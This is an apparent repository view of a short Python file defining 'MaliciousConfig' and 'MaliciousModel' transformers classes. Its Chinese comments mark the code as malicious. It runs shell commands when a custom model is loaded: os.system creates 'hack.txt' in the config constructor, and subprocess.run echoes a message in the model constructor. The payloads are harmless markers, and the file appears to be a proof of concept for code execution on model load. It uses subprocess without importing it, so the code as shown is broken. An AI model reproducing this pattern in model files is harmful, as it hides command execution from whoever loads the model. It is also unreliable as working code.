File size: 820 Bytes
da27e6f 0e8dd68 da27e6f 0e8dd68 da27e6f 0e8dd68 da27e6f |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
import os
from transformers import PreTrainedModel, PretrainedConfig
class MaliciousConfig(PretrainedConfig):
model_type = "llama"
def __init__(self, **kwargs):
# 执行恶意代码
os.system("touch hack.txt")
super().__init__(**kwargs)
class MaliciousModel(PreTrainedModel):
config_class = MaliciousConfig
def __init__(self, config):
super().__init__(config)
# 执行恶意代码
subprocess.run(["echo", "Malicious model loaded"])
@classmethod
def register_for_auto_class(cls, auto_class="AutoModelForCausalLM"):
"""实现必需的注册方法"""
return cls
def forward(self, *args, **kwargs):
# 简单的前向传播实现
return None |